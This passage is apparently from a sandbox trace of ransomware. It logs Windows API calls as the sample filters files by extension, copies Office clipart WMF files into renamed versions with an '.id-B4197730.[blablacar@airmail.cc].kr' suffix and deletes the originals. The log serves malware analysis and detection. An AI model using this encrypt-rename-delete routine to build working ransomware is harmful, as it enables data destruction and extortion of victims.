[0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString=".zip") returned 4 [0195.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.396] lstrlenW (lpString=".rar") returned 4 [0195.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString=".bz2") returned 4 [0195.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString=".7z") returned 3 [0195.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString=".dbf") returned 4 [0195.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString=".1cd") returned 4 [0195.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString=".jpg") returned 4 [0195.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.396] lstrlenW (lpString=".doc") returned 4 [0195.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString=".docx") returned 5 [0195.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.396] lstrlenW (lpString=".pdf") returned 4 [0195.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.396] lstrlenW (lpString=".xls") returned 4 [0195.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.397] lstrlenW (lpString=".xlsx") returned 5 [0195.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.397] lstrlenW (lpString=".ppt") returned 4 [0195.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.397] lstrlenW (lpString=".zip") returned 4 [0195.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.397] lstrlenW (lpString=".rar") returned 4 [0195.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.397] lstrlenW (lpString=".bz2") returned 4 [0195.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.397] lstrlenW (lpString=".7z") returned 3 [0195.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.397] lstrlenW (lpString=".dbf") returned 4 [0195.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.397] lstrlenW (lpString=".1cd") returned 4 [0195.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.397] lstrlenW (lpString=".jpg") returned 4 [0195.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.397] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.397] lstrlenW (lpString="HH00612_.WMF") returned 12 [0195.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.399] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=12632) returned 1 [0195.399] CloseHandle (hObject=0x518) returned 1 [0195.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0195.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.399] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.399] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.400] GetLastError () returned 0x0 [0195.400] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3158, lpOverlapped=0x0) returned 1 [0195.402] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3160, lpOverlapped=0x0) returned 1 [0195.651] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.653] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.653] SetEndOfFile (hFile=0x538) returned 1 [0195.653] CloseHandle (hObject=0x538) returned 1 [0195.653] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.654] SetEndOfFile (hFile=0x518) returned 1 [0195.657] CloseHandle (hObject=0x518) returned 1 [0195.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0196.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.141] lstrlenW (lpString=".doc") returned 4 [0196.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.141] lstrlenW (lpString=".docx") returned 5 [0196.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.141] lstrlenW (lpString=".pdf") returned 4 [0196.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.141] lstrlenW (lpString=".xls") returned 4 [0196.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.141] lstrlenW (lpString=".xlsx") returned 5 [0196.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.141] lstrlenW (lpString=".ppt") returned 4 [0196.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.141] lstrlenW (lpString=".zip") returned 4 [0196.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.141] lstrlenW (lpString=".rar") returned 4 [0196.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.141] lstrlenW (lpString=".bz2") returned 4 [0196.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.141] lstrlenW (lpString=".7z") returned 3 [0196.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString=".dbf") returned 4 [0196.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString=".1cd") returned 4 [0196.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString=".jpg") returned 4 [0196.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString=".doc") returned 4 [0196.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString=".docx") returned 5 [0196.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.142] lstrlenW (lpString=".pdf") returned 4 [0196.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString=".xls") returned 4 [0196.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.142] lstrlenW (lpString=".xlsx") returned 5 [0196.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.142] lstrlenW (lpString=".ppt") returned 4 [0196.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.142] lstrlenW (lpString=".zip") returned 4 [0196.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.143] lstrlenW (lpString=".rar") returned 4 [0196.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.143] lstrlenW (lpString=".bz2") returned 4 [0196.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.143] lstrlenW (lpString=".7z") returned 3 [0196.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.143] lstrlenW (lpString=".dbf") returned 4 [0196.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.143] lstrlenW (lpString=".1cd") returned 4 [0196.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0196.143] lstrlenW (lpString=".jpg") returned 4 [0196.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.143] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.143] lstrlenW (lpString="HH00625_.WMF") returned 12 [0196.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.145] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2116) returned 1 [0196.145] CloseHandle (hObject=0x54c) returned 1 [0196.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0196.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.145] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.145] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0196.146] GetLastError () returned 0x0 [0196.146] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x844, lpOverlapped=0x0) returned 1 [0196.148] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x850, lpOverlapped=0x0) returned 1 [0196.149] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.149] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.149] SetEndOfFile (hFile=0x538) returned 1 [0196.149] CloseHandle (hObject=0x538) returned 1 [0196.149] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.149] SetEndOfFile (hFile=0x54c) returned 1 [0196.152] CloseHandle (hObject=0x54c) returned 1 [0196.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0196.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.153] lstrlenW (lpString=".doc") returned 4 [0196.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.153] lstrlenW (lpString=".docx") returned 5 [0196.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.153] lstrlenW (lpString=".pdf") returned 4 [0196.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.153] lstrlenW (lpString=".xls") returned 4 [0196.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.154] lstrlenW (lpString=".xlsx") returned 5 [0196.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.154] lstrlenW (lpString=".ppt") returned 4 [0196.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString=".zip") returned 4 [0196.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.154] lstrlenW (lpString=".rar") returned 4 [0196.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString=".bz2") returned 4 [0196.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString=".7z") returned 3 [0196.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString=".dbf") returned 4 [0196.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString=".1cd") returned 4 [0196.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString=".jpg") returned 4 [0196.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.154] lstrlenW (lpString=".doc") returned 4 [0196.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString=".docx") returned 5 [0196.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.155] lstrlenW (lpString=".pdf") returned 4 [0196.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString=".xls") returned 4 [0196.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.155] lstrlenW (lpString=".xlsx") returned 5 [0196.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.155] lstrlenW (lpString=".ppt") returned 4 [0196.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.155] lstrlenW (lpString=".zip") returned 4 [0196.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.155] lstrlenW (lpString=".rar") returned 4 [0196.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString=".bz2") returned 4 [0196.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString=".7z") returned 3 [0196.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.155] lstrlenW (lpString=".dbf") returned 4 [0196.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.155] lstrlenW (lpString=".1cd") returned 4 [0196.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0196.155] lstrlenW (lpString=".jpg") returned 4 [0196.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.156] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.156] lstrlenW (lpString="HH00636_.WMF") returned 12 [0196.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.156] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1568) returned 1 [0196.156] CloseHandle (hObject=0x54c) returned 1 [0196.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0196.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.157] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.157] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0196.158] GetLastError () returned 0x0 [0196.158] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x620, lpOverlapped=0x0) returned 1 [0196.160] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x630, lpOverlapped=0x0) returned 1 [0196.161] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.161] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.161] SetEndOfFile (hFile=0x538) returned 1 [0196.161] CloseHandle (hObject=0x538) returned 1 [0196.161] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.161] SetEndOfFile (hFile=0x54c) returned 1 [0196.165] CloseHandle (hObject=0x54c) returned 1 [0196.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0196.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.166] lstrlenW (lpString=".doc") returned 4 [0196.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.166] lstrlenW (lpString=".docx") returned 5 [0196.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.166] lstrlenW (lpString=".pdf") returned 4 [0196.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString=".xls") returned 4 [0196.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.167] lstrlenW (lpString=".xlsx") returned 5 [0196.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.167] lstrlenW (lpString=".ppt") returned 4 [0196.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.167] lstrlenW (lpString=".zip") returned 4 [0196.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.167] lstrlenW (lpString=".rar") returned 4 [0196.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString=".bz2") returned 4 [0196.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString=".7z") returned 3 [0196.167] 